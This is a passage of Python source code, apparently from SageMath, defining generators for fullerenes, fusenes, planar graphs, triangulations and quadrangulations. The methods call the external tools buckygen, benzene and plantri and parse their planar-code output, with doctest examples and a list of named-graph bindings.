character,n21,...,n2k',null character, ...\n\n        where the n1* are all neighbors of n1 and all n2* are the\n        neighbors of n2, ...\n        Besides, these neighbors are enumerated in clockwise order.\n\n        INPUT:\n\n        - ``code_input`` - a file containing valid planar code data.\n\n        OUTPUT:\n\n        A generator which will produce the plane graphs as Sage graphs\n        with an embedding set. These will be simple graphs: no loops, no\n        multiple edges, no directed edges (unless plantri is asked to give\n        the dual graphs instead).\n\n        .. SEEALSO::\n\n            - :meth:`~sage.graphs.generic_graph.GenericGraph.set_embedding`,\n              :meth:`~sage.graphs.generic_graph.GenericGraph.get_embedding` --\n              get/set methods for embeddings.\n\n        EXAMPLES:\n\n        The following example creates a small planar code file in memory and\n        reads it using the ``_read_planar_code`` method::\n\n            sage: from io import StringIO\n            sage: code_input = StringIO('>>planar_code<<')\n            sage: _ = code_input.write('>>planar_code<<')\n            sage: for c in [4,2,3,4,0,1,4,3,0,1,2,4,0,1,3,2,0]:\n            ....:     _ = code_input.write('{:c}'.format(c))\n            sage: _ = code_input.seek(0)\n            sage: gen = graphs._read_planar_code(code_input)\n            sage: l = list(gen)\n            sage: l\n            [Graph on 4 vertices]\n            sage: l[0].is_isomorphic(graphs.CompleteGraph(4))\n            True\n            sage: l[0].get_embedding()\n            {1: [2, 3, 4],\n             2: [1, 4, 3],\n             3: [1, 2, 4],\n             4: [1, 3, 2]}\n        \"\"\"\n        #start of code to read planar code\n\n        header = code_input.read(15)\n        assert header == '>>planar_code<<', 'Not a valid planar code header'\n\n        #read graph per graph\n        while True:\n            c = code_input.read(1)\n            if len(c)==0:\n                return\n\n            # Each graph is stored in the following way :\n            #\n            # The first character is the number of vertices, followed by\n            # n11,...,n1k,null character,n21,...,n2k',null character, ...\n            #\n            # where the n1* are all neighbors of n1 and all n2* are the\n            # neighbors of n2, ...\n            #\n            # Besides, these neighbors are enumerated in clockwise order.\n            order = ord(c)\n\n            zeroCount = 0\n\n            g = [[] for i in range(order)]\n\n            while zeroCount < order:\n                c = code_input.read(1)\n                if ord(c) == 0:\n                    zeroCount += 1\n                else:\n                    g[zeroCount].append(ord(c))\n\n            # construct graph based on g\n\n            # first taking care that every edge is given twice\n            edges_g = {i + 1: [j for j in di if j < i + 1]\n                       for i, di in enumerate(g)}\n\n            # then adding half of the loops (if any)\n            has_loops = False\n            for i, di in enumerate(g):\n                Ni = di.count(i + 1)\n                if Ni > 1:\n                    edges_g[i + 1] += [i + 1] * (Ni // 2)\n                    has_loops = True\n            G = graph.Graph(edges_g, loops=has_loops)\n\n            if not(G.has_multiple_edges() or has_loops):\n                embed_g = {i + 1: di for i, di in enumerate(g)}\n                G.set_embedding(embed_g)\n            yield(G)\n\n    def fullerenes(self, order, ipr=False):\n        r\"\"\"\n        Returns a generator which creates fullerene graphs using\n        the buckygen generator (see [BGM2012]_).\n\n        INPUT:\n\n        - ``order`` - a positive even integer smaller than or equal to 254.\n          This specifies the number of vertices in the generated fullerenes.\n\n        - ``ipr`` - default: ``False`` - if ``True`` only fullerenes that\n          satisfy the Isolated Pentagon Rule are generated. This means that\n          no pentagonal faces share an edge.\n\n        OUTPUT:\n\n        A generator which will produce the fullerene graphs as Sage graphs\n        with an embedding set. These will be simple graphs: no loops, no\n        multiple edges, no directed edges.\n\n        .. SEEALSO::\n\n            - :meth:`~sage.graphs.generic_graph.GenericGraph.set_embedding`,\n              :meth:`~sage.graphs.generic_graph.GenericGraph.get_embedding` --\n              get/set methods for embeddings.\n\n        EXAMPLES:\n\n        There are 1812 isomers of `\\textrm{C}_{60}`, i.e., 1812 fullerene graphs\n        on 60 vertices::\n\n            sage: gen = graphs.fullerenes(60)  # optional buckygen\n            sage: len(list(gen))  # optional buckygen\n            1812\n\n        However, there is only one IPR fullerene graph on 60 vertices: the famous\n        Buckminster Fullerene::\n\n            sage: gen = graphs.fullerenes(60, ipr=True)  # optional buckygen\n            sage: next(gen)  # optional buckygen\n            Graph on 60 vertices\n            sage: next(gen)  # optional buckygen\n            Traceback (most recent call last):\n            ...\n            StopIteration\n\n        The unique fullerene graph on 20 vertices is isomorphic to the dodecahedron\n        graph. ::\n\n            sage: gen = graphs.fullerenes(20)  # optional buckygen\n            sage: g = next(gen)  # optional buckygen\n            sage: g.is_isomorphic(graphs.DodecahedralGraph()) # optional buckygen\n            True\n            sage: g.get_embedding()  # optional buckygen\n            {1: [2, 3, 4],\n             2: [1, 5, 6],\n             3: [1, 7, 8],\n             4: [1, 9, 10],\n             5: [2, 10, 11],\n             6: [2, 12, 7],\n             7: [3, 6, 13],\n             8: [3, 14, 9],\n             9: [4, 8, 15],\n             10: [4, 16, 5],\n             11: [5, 17, 12],\n             12: [6, 11, 18],\n             13: [7, 18, 14],\n             14: [8, 13, 19],\n             15: [9, 19, 16],\n             16: [10, 15, 17],\n             17: [11, 16, 20],\n             18: [12, 20, 13],\n             19: [14, 20, 15],\n             20: [17, 19, 18]}\n            sage: g.plot3d(layout='spring')  # optional buckygen\n            Graphics3d Object\n        \"\"\"\n        # number of vertices should be positive\n        if order < 0:\n            raise ValueError(\"number of vertices should be non-negative\")\n\n        # buckygen can only output fullerenes on up to 254 vertices\n        if order > 254:\n            raise ValueError(\"number of vertices should be at most 254\")\n\n        # fullerenes only exist for an even number of vertices, larger than 20\n        # and different from 22\n        if order % 2 == 1 or order < 20 or order == 22:\n            return\n\n        from sage.features.graph_generators import Buckygen\n        Buckygen().require()\n\n        command = 'buckygen -'+('I' if ipr else '')+'d {0}d'.format(order)\n\n        sp = subprocess.Popen(command, shell=True,\n                              stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                              stderr=subprocess.PIPE, close_fds=True,\n                              encoding='latin-1')\n\n        sp.stdout.reconfigure(newline='')\n\n        for G in graphs._read_planar_code(sp.stdout):\n            yield(G)\n\n    def fusenes(self, hexagon_count, benzenoids=False):\n        r\"\"\"\n        Returns a generator which creates fusenes and benzenoids using\n        the benzene generator (see [BCH2002]_). Fusenes are planar\n        polycyclic hydrocarbons with all bounded faces hexagons. Benzenoids\n        are fusenes that are subgraphs of the hexagonal lattice.\n\n        INPUT:\n\n        - ``hexagon_count`` - a positive integer smaller than or equal to 30.\n          This specifies the number of hexagons in the generated benzenoids.\n\n        - ``benzenoids`` - default: ``False`` - if ``True`` only benzenoids are\n          generated.\n\n        OUTPUT:\n\n        A generator which will produce the fusenes as Sage graphs\n        with an embedding set. These will be simple graphs: no loops, no\n        multiple edges, no directed edges.\n\n        .. SEEALSO::\n\n            - :meth:`~sage.graphs.generic_graph.GenericGraph.set_embedding`,\n              :meth:`~sage.graphs.generic_graph.GenericGraph.get_embedding` --\n              get/set methods for embeddings.\n\n        EXAMPLES:\n\n        There is a unique fusene with 2 hexagons::\n\n            sage: gen = graphs.fusenes(2)  # optional benzene\n            sage: len(list(gen))  # optional benzene\n            1\n\n        This fusene is naphthalene (`\\textrm{C}_{10}\\textrm{H}_{8}`).\n        In the fusene graph the H-atoms are not stored, so this is\n        a graph on just 10 vertices::\n\n            sage: gen = graphs.fusenes(2)  # optional benzene\n            sage: next(gen)  # optional benzene\n            Graph on 10 vertices\n            sage: next(gen)  # optional benzene\n            Traceback (most recent call last):\n            ...\n            StopIteration\n\n        There are 6505 benzenoids with 9 hexagons::\n\n            sage: gen = graphs.fusenes(9, benzenoids=True)  # optional benzene\n            sage: len(list(gen))  # optional benzene\n            6505\n        \"\"\"\n        if hexagon_count < 0:\n            raise ValueError(\"number of hexagons should be non-negative\")\n\n        # benzene is only built for fusenes with up to 30 hexagons\n        if hexagon_count > 30:\n            raise ValueError(\"number of hexagons should be at most 30\")\n\n        # there are no fusenes with 0 hexagons\n        if hexagon_count == 0:\n            return\n\n        # there is only one unique fusene with 1 hexagon (and benzene doesn't generate it)\n        if hexagon_count == 1:\n            g = {1:[6, 2], 2:[1, 3], 3:[2, 4], 4:[3, 5], 5:[4, 6], 6:[5, 1]}\n            G = graph.Graph(g)\n            G.set_embedding(g)\n            yield(G)\n            return\n\n        from sage.features.graph_generators import Benzene\n        Benzene().require()\n\n        command = 'benzene '+('b' if benzenoids else '')+' {0} p'.format(hexagon_count)\n\n        sp = subprocess.Popen(command, shell=True,\n                              stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                              stderr=subprocess.PIPE, close_fds=True,\n                              encoding='latin-1')\n\n        sp.stdout.reconfigure(newline='')\n\n        for G in graphs._read_planar_code(sp.stdout):\n            yield(G)\n\n    def planar_graphs(self, order, minimum_degree=None,\n                      minimum_connectivity=None,\n                      exact_connectivity=False, only_bipartite=False,\n                      dual=False):\n        r\"\"\"\n        An iterator over connected planar graphs using the plantri generator.\n\n        This uses the plantri generator (see [BM2007]_) which is available\n        through the optional package plantri.\n\n        .. NOTE::\n\n            The non-3-connected graphs will be returned several times, with all\n            its possible embeddings.\n\n        INPUT:\n\n        - ``order`` - a positive integer smaller than or equal to 64.\n          This specifies the number of vertices in the generated graphs.\n\n        - ``minimum_degree`` - default: ``None`` - a value `\\geq 1` and `\\leq\n          5`, or ``None``. This specifies the minimum degree of the generated\n          graphs. If this is ``None`` and the order is 1, then this is set to\n          0. If this is ``None`` and the minimum connectivity is specified, then\n          this is set to the same value as the minimum connectivity.  If the\n          minimum connectivity is also equal to ``None``, then this is set to 1.\n\n        - ``minimum_connectivity`` - default: ``None`` - a value `\\geq 1`\n          and `\\leq 3`, or ``None``. This specifies the minimum connectivity of the\n          generated graphs. If this is ``None`` and the minimum degree is\n          specified, then this is set to the minimum of the minimum degree\n          and 3. If the minimum degree is also equal to ``None``, then this\n          is set to 1.\n\n        - ``exact_connectivity`` - default: ``False`` - if ``True`` only\n          graphs with exactly the specified connectivity will be generated.\n          This option cannot be used with ``minimum_connectivity=3``, or if\n          the minimum connectivity is not explicitly set.\n\n        - ``only_bipartite`` - default: ``False`` - if ``True`` only bipartite\n          graphs will be generated. This option cannot be used for graphs with\n          a minimum degree larger than 3.\n\n        - ``dual`` - default: ``False`` - if ``True`` return instead the\n          planar duals of the generated graphs.\n\n        OUTPUT:\n\n        An iterator which will produce all planar graphs with the given\n        number of vertices as Sage graphs with an embedding set. These will be\n        simple graphs (no loops, no multiple edges, no directed edges)\n        unless the option ``dual=True`` is used.\n\n        .. SEEALSO::\n\n            - :meth:`~sage.graphs.generic_graph.GenericGraph.set_embedding`,\n              :meth:`~sage.graphs.generic_graph.GenericGraph.get_embedding` --\n              get/set methods for embeddings.\n\n        EXAMPLES:\n\n        There are 6 planar graphs on 4 vertices::\n\n            sage: gen = graphs.planar_graphs(4)  # optional plantri\n            sage: len(list(gen))  # optional plantri\n            6\n\n        Three of these planar graphs are bipartite::\n\n            sage: gen = graphs.planar_graphs(4, only_bipartite=True)  # optional plantri\n            sage: len(list(gen))  # optional plantri\n            3\n\n        Setting ``dual=True`` gives the planar dual graphs::\n\n            sage: gen = graphs.planar_graphs(4, dual=True)  # optional plantri\n            sage: [u for u in list(gen)]  # optional plantri\n            [Graph on 4 vertices,\n            Multi-graph on 3 vertices,\n            Multi-graph on 2 vertices,\n            Looped multi-graph on 2 vertices,\n            Looped multi-graph on 1 vertex,\n            Looped multi-graph on 1 vertex]\n\n        The cycle of length 4 is the only 2-connected bipartite planar graph\n        on 4 vertices::\n\n            sage: l = list(graphs.planar_graphs(4, minimum_connectivity=2, only_bipartite=True))  # optional plantri\n            sage: l[0].get_embedding()  # optional plantri\n            {1: [2, 3],\n             2: [1, 4],\n             3: [1, 4],\n             4: [2, 3]}\n\n        There is one planar graph with one vertex. This graph obviously has\n        minimum degree equal to 0::\n\n            sage: list(graphs.planar_graphs(1))  # optional plantri\n            [Graph on 1 vertex]\n            sage: list(graphs.planar_graphs(1, minimum_degree=1))  # optional plantri\n            []\n\n        TESTS:\n\n        The number of edges in a planar graph is equal to the number of edges in\n        its dual::\n\n            sage: planar      = list(graphs.planar_graphs(5,dual=True))  # optional -- plantri\n            sage: dual_planar = list(graphs.planar_graphs(5,dual=False)) # optional -- plantri\n            sage: planar_sizes      = [g.size() for g in planar]         # optional -- plantri\n            sage: dual_planar_sizes = [g.size() for g in dual_planar]    # optional -- plantri\n            sage: planar_sizes == dual_planar_sizes                      # optional -- plantri\n            True\n        \"\"\"\n        if order < 0:\n            raise ValueError(\"number of vertices should be non-negative\")\n\n        # plantri can only output general planar graphs on up to 64 vertices\n        if order > 64:\n            raise ValueError(\"number of vertices should be at most 64\")\n\n        if exact_connectivity and minimum_connectivity is None:\n            raise ValueError(\"Minimum connectivity must be specified to use the exact_connectivity option.\")\n\n        if minimum_connectivity is  not None and not (1 <= minimum_connectivity <= 3):\n            raise ValueError(\"Minimum connectivity should be a number between 1 and 3.\")\n\n        # minimum degree should be None or a number between 1 and 5\n        if minimum_degree == 0:\n            if order != 1:\n                raise ValueError(\"Minimum degree equal to 0 is only possible if the graphs have 1 vertex.\")\n        elif minimum_degree is not None and not (1 <= minimum_degree <= 5):\n            raise ValueError(\"Minimum degree should be a number between 1 and 5 if the order is greater than 1.\")\n        elif minimum_degree is None and order == 1:\n            minimum_degree = 0\n\n        # check combination of values of minimum degree and minimum connectivity\n        if minimum_connectivity is None:\n            if minimum_degree is not None:\n                minimum_connectivity = min(3, minimum_degree)\n            elif minimum_degree is None:\n                minimum_degree, minimum_connectivity = 1, 1\n        else:\n            if minimum_degree is None:\n                minimum_degree = minimum_connectivity\n            elif (minimum_degree < minimum_connectivity and\n                  minimum_degree > 0):\n                raise ValueError(\"Minimum connectivity can be at most the minimum degree.\")\n\n        #exact connectivity is not implemented for minimum connectivity 3\n        if exact_connectivity and minimum_connectivity==3:\n            raise NotImplementedError(\"Generation of planar graphs with connectivity exactly 3 is not implemented.\")\n\n        if only_bipartite and minimum_degree > 3:\n            raise NotImplementedError(\"Generation of bipartite planar graphs with minimum degree 4 or 5 is not implemented.\")\n\n        if order == 0:\n            return\n\n        minimum_order = {0:1, 1:2, 2:3, 3:4, 4:6, 5:12}[minimum_degree]\n\n        if order < minimum_order:\n            return\n\n        if order == 1:\n            if minimum_degree == 0:\n                G = graph.Graph(1)\n                G.set_embedding({0: []})\n                yield(G)\n            return\n\n        from sage.features.graph_generators import Plantri\n        Plantri().require()\n\n        cmd = 'plantri -p{}m{}c{}{}{} {}'\n        command = cmd.format('b' if only_bipartite else '',\n                             minimum_degree,\n                             minimum_connectivity,\n                             'x' if exact_connectivity else '',\n                             'd' if dual else '',\n                             order)\n\n        sp = subprocess.Popen(command, shell=True,\n                              stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                              stderr=subprocess.PIPE, close_fds=True,\n                              encoding='latin-1')\n\n        sp.stdout.reconfigure(newline='')\n\n        for G in graphs._read_planar_code(sp.stdout):\n            yield(G)\n\n    def triangulations(self, order, minimum_degree=None, minimum_connectivity=None,\n                       exact_connectivity=False, only_eulerian=False, dual=False):\n        r\"\"\"\n        An iterator over connected planar triangulations using the plantri generator.\n\n        This uses the plantri generator (see [BM2007]_) which is available\n        through the optional package plantri.\n\n        INPUT:\n\n        - ``order`` - a positive integer smaller than or equal to 64.\n          This specifies the number of vertices in the generated triangulations.\n\n        - ``minimum_degree`` - default: ``None`` - a value `\\geq 3` and `\\leq 5`,\n          or ``None``. This specifies the minimum degree of the generated\n          triangulations. If this is ``None`` and the minimum connectivity\n          is specified, then this is set to the same value as the minimum\n          connectivity. If the minimum connectivity is also equal to ``None``,\n          then this is set to 3.\n\n        - ``minimum_connectivity`` - default: ``None`` - a value `\\geq 3` and\n          `\\leq 5`, or ``None``. This specifies the minimum connectivity of the\n          generated triangulations. If this is ``None`` and the minimum degree\n          is specified, then this is set to the minimum of the minimum degree\n          and 3. If the minimum degree is also equal to ``None``, then this is\n          set to 3.\n\n        - ``exact_connectivity`` - default: ``False`` - if ``True`` only\n          triangulations with exactly the specified connectivity will be generated.\n          This option cannot be used with ``minimum_connectivity=3``, or if\n          the minimum connectivity is not explicitly set.\n\n        - ``only_eulerian`` - default: ``False`` - if ``True`` only Eulerian\n          triangulations will be generated. This option cannot be used if the\n          minimum degree is explicitly set to anything else than 4.\n\n        - ``dual`` - default: ``False`` - if ``True`` return instead the\n          planar duals of the generated graphs.\n\n        OUTPUT:\n\n        An iterator which will produce all planar triangulations with the given\n        number of vertices as Sage graphs with an embedding set. These will be\n        simple graphs (no loops, no multiple edges, no directed edges).\n\n        .. SEEALSO::\n\n            - :meth:`~sage.graphs.generic_graph.GenericGraph.set_embedding`,\n              :meth:`~sage.graphs.generic_graph.GenericGraph.get_embedding` --\n              get/set methods for embeddings.\n\n            - :meth:`~sage.graphs.graph_generators.GraphGenerators.RandomTriangulation`\n              -- build a random triangulation.\n\n        EXAMPLES:\n\n        The unique planar embedding of the `K_4` is the only planar triangulations\n        on 4 vertices::\n\n            sage: gen = graphs.triangulations(4)    # optional plantri\n            sage: [g.get_embedding() for g in gen]  # optional plantri\n            [{1: [2, 3, 4], 2: [1, 4, 3], 3: [1, 2, 4], 4: [1, 3, 2]}]\n\n        but, of course, this graph is not Eulerian::\n\n            sage: gen = graphs.triangulations(4, only_eulerian=True)  # optional plantri\n            sage: len(list(gen))                                      # optional plantri\n            0\n\n        The unique Eulerian triangulation on 6 vertices is isomorphic to the octahedral\n        graph. ::\n\n            sage: gen = graphs.triangulations(6, only_eulerian=True)  # optional plantri\n            sage: g = next(gen)                                       # optional plantri\n            sage: g.is_isomorphic(graphs.OctahedralGraph())           # optional plantri\n            True\n\n        An overview of the number of 5-connected triangulations on up to 22 vertices. This\n        agrees with :oeis:`A081621`::\n\n            sage: for i in range(12, 23):                                             # optional plantri\n            ....:     L = len(list(graphs.triangulations(i, minimum_connectivity=5))) # optional plantri\n            ....:     print(\"{}   {:3d}\".format(i,L))                                 # optional plantri\n            12     1\n            13     0\n            14     1\n            15     1\n            16     3\n            17     4\n            18    12\n            19    23\n            20    71\n            21   187\n            22   627\n\n        The minimum connectivity can be at most the minimum degree::\n\n            sage: gen = next(graphs.triangulations(10, minimum_degree=3, minimum_connectivity=5))  # optional plantri\n            Traceback (most recent call last):\n            ...\n            ValueError: Minimum connectivity can be at most the minimum degree.\n\n        There are 5 triangulations with 9 vertices and minimum degree equal to 4\n        that are 3-connected, but only one of them is not 4-connected::\n\n            sage: len([g for g in graphs.triangulations(9, minimum_degree=4, minimum_connectivity=3)]) # optional plantri\n            5\n            sage: len([g for g in graphs.triangulations(9, minimum_degree=4, minimum_connectivity=3, exact_connectivity=True)]) # optional plantri\n            1\n\n        Setting ``dual=True`` gives the planar dual graphs::\n\n            sage: [len(g) for g in graphs.triangulations(9, minimum_degree=4, minimum_connectivity=3, dual=True)]  # optional plantri\n            [14, 14, 14, 14, 14]\n\n        TESTS::\n\n            sage: [g.size() for g in graphs.triangulations(6, minimum_connectivity=3)] # optional plantri\n            [12, 12]\n        \"\"\"\n        if order < 0:\n            raise ValueError(\"number of vertices should be non-negative\")\n\n        # plantri can only output planar triangulations on up to 64 vertices\n        if order > 64:\n            raise ValueError(\"number of vertices should be at most 64\")\n\n        if exact_connectivity and minimum_connectivity is None:\n            raise ValueError(\"Minimum connectivity must be specified to use the exact_connectivity option.\")\n\n        if minimum_connectivity is  not None and not (3 <= minimum_connectivity <= 5):\n            raise ValueError(\"Minimum connectivity should be None or a number between 3 and 5.\")\n\n        if minimum_degree is  not None and not (3 <= minimum_degree <= 5):\n            raise ValueError(\"Minimum degree should be None or a number between 3 and 5.\")\n\n        # for Eulerian triangulations the minimum degree is set to 4 (unless it was already specifically set)\n        if only_eulerian and minimum_degree is None:\n            minimum_degree = 4\n\n        # check combination of values of minimum degree and minimum connectivity\n        if minimum_connectivity is None:\n            if minimum_degree is not None:\n                minimum_connectivity = min(3, minimum_degree)\n            else:\n                minimum_degree, minimum_connectivity = 3, 3\n        else:\n            if minimum_degree is None:\n                minimum_degree = minimum_connectivity\n            elif minimum_degree < minimum_connectivity:\n                raise ValueError(\"Minimum connectivity can be at most the minimum degree.\")\n\n        #exact connectivity is not implemented for minimum connectivity equal to minimum degree\n        if exact_connectivity and minimum_connectivity==minimum_degree:\n            raise NotImplementedError(\"Generation of triangulations with minimum connectivity equal to minimum degree is not implemented.\")\n\n        minimum_order = {3:4, 4:6, 5:12}[minimum_degree]\n\n        if order < minimum_order:\n            return\n\n        if only_eulerian and order < 6:\n            return\n\n        from sage.features.graph_generators import Plantri\n        Plantri().require()\n\n        cmd = 'plantri -{}m{}c{}{}{} {}'\n        command = cmd.format('b' if only_eulerian else '',\n                             minimum_degree,\n                             minimum_connectivity,\n                             'x' if exact_connectivity else '',\n                             'd' if dual else '',\n                             order)\n\n        sp = subprocess.Popen(command, shell=True,\n                              stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                              stderr=subprocess.PIPE, close_fds=True,\n                              encoding='latin-1')\n\n        sp.stdout.reconfigure(newline='')\n\n        for G in graphs._read_planar_code(sp.stdout):\n            yield(G)\n\n    def quadrangulations(self, order, minimum_degree=None, minimum_connectivity=None,\n                         no_nonfacial_quadrangles=False, dual=False):\n        r\"\"\"\n        An iterator over planar quadrangulations using the plantri generator.\n\n        This uses the plantri generator (see [BM2007]_) which is available\n        through the optional package plantri.\n\n        INPUT:\n\n        - ``order`` - a positive integer smaller than or equal to 64.\n          This specifies the number of vertices in the generated quadrangulations.\n\n        - ``minimum_degree`` - default: ``None`` - a value `\\geq 2` and `\\leq\n          3`, or ``None``. This specifies the minimum degree of the generated\n          quadrangulations. If this is ``None`` and the minimum connectivity is\n          specified, then this is set to the same value as the minimum\n          connectivity. If the minimum connectivity is also equal to ``None``,\n          then this is set to 2.\n\n        - ``minimum_connectivity`` - default: ``None`` - a value `\\geq 2` and\n          `\\leq 3`, or ``None``. This specifies the minimum connectivity of the\n          generated quadrangulations. If this is ``None`` and the option\n          ``no_nonfacial_quadrangles`` is set to ``True``, then this is set to\n          3. Otherwise if this is ``None`` and the minimum degree is specified,\n          then this is set to the minimum degree. If the minimum degree is also\n          equal to ``None``, then this is set to 3.\n\n        - ``no_nonfacial_quadrangles`` - default: ``False`` - if ``True`` only\n          quadrangulations with no non-facial quadrangles are generated. This\n          option cannot be used if ``minimum_connectivity`` is set to 2.\n\n        - ``dual`` - default: ``False`` - if ``True`` return instead the\n          planar duals of the generated graphs.\n\n        OUTPUT:\n\n        An iterator which will produce all planar quadrangulations with the given\n        number of vertices as Sage graphs with an embedding set. These will be\n        simple graphs (no loops, no multiple edges, no directed edges).\n\n        .. SEEALSO::\n\n            - :meth:`~sage.graphs.generic_graph.GenericGraph.set_embedding`,\n              :meth:`~sage.graphs.generic_graph.GenericGraph.get_embedding` --\n              get/set methods for embeddings.\n\n        EXAMPLES:\n\n        The cube is the only 3-connected planar quadrangulation on 8 vertices::\n\n            sage: gen = graphs.quadrangulations(8, minimum_connectivity=3)  # optional plantri\n            sage: g = next(gen)                                            # optional plantri\n            sage: g.is_isomorphic(graphs.CubeGraph(3))                      # optional plantri\n            True\n            sage: next(gen)                                                # optional plantri\n            Traceback (most recent call last):\n            ...\n            StopIteration\n\n        An overview of the number of quadrangulations on up to 12 vertices. This\n        agrees with :oeis:`A113201`::\n\n            sage: for i in range(4,13):                          # optional plantri\n            ....:     L =  len(list(graphs.quadrangulations(i))) # optional plantri\n            ....:     print(\"{:2d}   {:3d}\".format(i,L))         # optional plantri\n             4     1\n             5     1\n             6     2\n             7     3\n             8     9\n             9    18\n            10    62\n            11   198\n            12   803\n\n        There are 2 planar quadrangulation on 12 vertices that do not have a\n        non-facial quadrangle::\n\n            sage: len([g for g in graphs.quadrangulations(12, no_nonfacial_quadrangles=True)])  # optional plantri\n            2\n\n        Setting ``dual=True`` gives the planar dual graphs::\n\n            sage: [len(g) for g in graphs.quadrangulations(12, no_nonfacial_quadrangles=True, dual=True)]  # optional plantri\n            [10, 10]\n        \"\"\"\n        if order < 0:\n            raise ValueError(\"number of vertices should be non-negative\")\n\n        # plantri can only output planar quadrangulations on up to 64 vertices\n        if order > 64:\n            raise ValueError(\"number of vertices should be at most 64\")\n\n        if minimum_connectivity not in {None, 2, 3}:\n            raise ValueError(\"Minimum connectivity should be None, 2 or 3.\")\n\n        if minimum_degree not in {None, 2, 3}:\n            raise ValueError(\"Minimum degree should be None, 2 or 3.\")\n\n        if (no_nonfacial_quadrangles and\n            minimum_connectivity == 2):\n                raise NotImplementedError(\"Generation of no non-facial quadrangles and minimum connectivity 2 is not implemented\")\n\n        # check combination of values of minimum degree and minimum connectivity\n        if minimum_connectivity is None:\n            if minimum_degree is not None:\n                minimum_connectivity = min(2, minimum_degree)\n            else:\n                minimum_degree, minimum_connectivity = 2, 2\n        else:\n            if minimum_degree is None:\n                minimum_degree = minimum_connectivity\n            elif minimum_degree < minimum_connectivity:\n                raise ValueError(\"Minimum connectivity can be at most the minimum degree.\")\n\n        minimum_order = {2:4, 3:8}[minimum_degree]\n\n        if order < minimum_order:\n            return\n\n        if no_nonfacial_quadrangles:\n            # for plantri -q the option -c4 means 3-connected with no non-facial quadrangles\n            minimum_connectivity = 4\n\n        from sage.features.graph_generators import Plantri\n        Plantri().require()\n\n        cmd = 'plantri -qm{}c{}{} {}'\n        command = cmd.format(minimum_degree,\n                             minimum_connectivity,\n                             'd' if dual else '',\n                             order)\n\n        sp = subprocess.Popen(command, shell=True,\n                              stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n                              stderr=subprocess.PIPE, close_fds=True,\n                              encoding='latin-1')\n\n        sp.stdout.reconfigure(newline='')\n\n        for G in graphs._read_planar_code(sp.stdout):\n            yield(G)\n\n###########################################################################\n# Basic Graphs\n###########################################################################\n    from .generators import basic\n    BullGraph                = staticmethod(basic.BullGraph)\n    ButterflyGraph           = staticmethod(basic.ButterflyGraph)\n    CircularLadderGraph      = staticmethod(basic.CircularLadderGraph)\n    ClawGraph                = staticmethod(basic.ClawGraph)\n    CycleGraph               = staticmethod(basic.CycleGraph)\n    CompleteGraph            = staticmethod(basic.CompleteGraph)\n    CompleteBipartiteGraph   = staticmethod(basic.CompleteBipartiteGraph)\n    CompleteMultipartiteGraph= staticmethod(basic.CompleteMultipartiteGraph)\n    DiamondGraph             = staticmethod(basic.DiamondGraph)\n    GemGraph                 = staticmethod(basic.GemGraph)\n    DartGraph                = staticmethod(basic.DartGraph)\n    ForkGraph                = staticmethod(basic.ForkGraph)\n    EmptyGraph               = staticmethod(basic.EmptyGraph)\n    Grid2dGraph              = staticmethod(basic.Grid2dGraph)\n    GridGraph                = staticmethod(basic.GridGraph)\n    HouseGraph               = staticmethod(basic.HouseGraph)\n    HouseXGraph              = staticmethod(basic.HouseXGraph)\n    LadderGraph              = staticmethod(basic.LadderGraph)\n    PathGraph                = staticmethod(basic.PathGraph)\n    StarGraph                = staticmethod(basic.StarGraph)\n    Toroidal6RegularGrid2dGraph = staticmethod(basic.Toroidal6RegularGrid2dGraph)\n    ToroidalGrid2dGraph      = staticmethod(basic.ToroidalGrid2dGraph)\n\n###########################################################################\n# Small Graphs\n###########################################################################\n    from .generators import smallgraphs, distance_regular\n    Balaban10Cage            = staticmethod(smallgraphs.Balaban10Cage)\n    Balaban11Cage            = staticmethod(smallgraphs.Balaban11Cage)\n    BidiakisCube             = staticmethod(smallgraphs.BidiakisCube)\n    BiggsSmithGraph          = staticmethod(smallgraphs.BiggsSmithGraph)\n    BlanusaFirstSnarkGraph   = staticmethod(smallgraphs.BlanusaFirstSnarkGraph)\n    BlanusaSecondSnarkGraph  = staticmethod(smallgraphs.BlanusaSecondSnarkGraph)\n    BrinkmannGraph           = staticmethod(smallgraphs.BrinkmannGraph)\n    BrouwerHaemersGraph      = staticmethod(smallgraphs.BrouwerHaemersGraph)\n    BuckyBall                = staticmethod(smallgraphs.BuckyBall)\n    CameronGraph             = staticmethod(smallgraphs.CameronGraph)\n    Cell600                  = staticmethod(smallgraphs.Cell600)\n    Cell120                  = staticmethod(smallgraphs.Cell120)\n    ChvatalGraph             = staticmethod(smallgraphs.ChvatalGraph)\n    ClebschGraph             = staticmethod(smallgraphs.ClebschGraph)\n    cocliques_HoffmannSingleton = staticmethod(distance_regular.cocliques_HoffmannSingleton)\n    ConwaySmith_for_3S7      = staticmethod(distance_regular.ConwaySmith_for_3S7)\n    CoxeterGraph             = staticmethod(smallgraphs.CoxeterGraph)\n    DejterGraph              = staticmethod(smallgraphs.DejterGraph)\n    DesarguesGraph           = staticmethod(smallgraphs.DesarguesGraph)\n    distance_3_doubly_truncated_Golay_code_graph = staticmethod(distance_regular.distance_3_doubly_truncated_Golay_code_graph)\n    DoubleStarSnark          = staticmethod(smallgraphs.DoubleStarSnark)\n    DoublyTruncatedWittGraph = staticmethod(distance_regular.DoublyTruncatedWittGraph)\n    DurerGraph               = staticmethod(smallgraphs.DurerGraph)\n    DyckGraph                = staticmethod(smallgraphs.DyckGraph)\n    EllinghamHorton54Graph   = staticmethod(smallgraphs.EllinghamHorton54Graph)\n    EllinghamHorton78Graph   = staticmethod(smallgraphs.EllinghamHorton78Graph)\n    ErreraGraph              = staticmethod(smallgraphs.ErreraGraph)\n    F26AGraph                = staticmethod(smallgraphs.F26AGraph)\n    FlowerSnark              = staticmethod(smallgraphs.FlowerSnark)\n    FolkmanGraph             = staticmethod(smallgraphs.FolkmanGraph)\n    FosterGraph              = staticmethod(smallgraphs.FosterGraph)\n    FosterGraph3S6           = staticmethod(distance_regular.FosterGraph3S6)\n    FranklinGraph            = staticmethod(smallgraphs.FranklinGraph)\n    FruchtGraph              = staticmethod(smallgraphs.FruchtGraph)\n    GoldnerHararyGraph       = staticmethod(smallgraphs.GoldnerHararyGraph)\n    GolombGraph              = staticmethod(smallgraphs.GolombGraph)\n    GossetGraph              = staticmethod(smallgraphs.GossetGraph)\n    graph_3O73               = staticmethod(distance_regular.graph_3O73)\n    GrayGraph                = staticmethod(smallgraphs.GrayGraph)\n   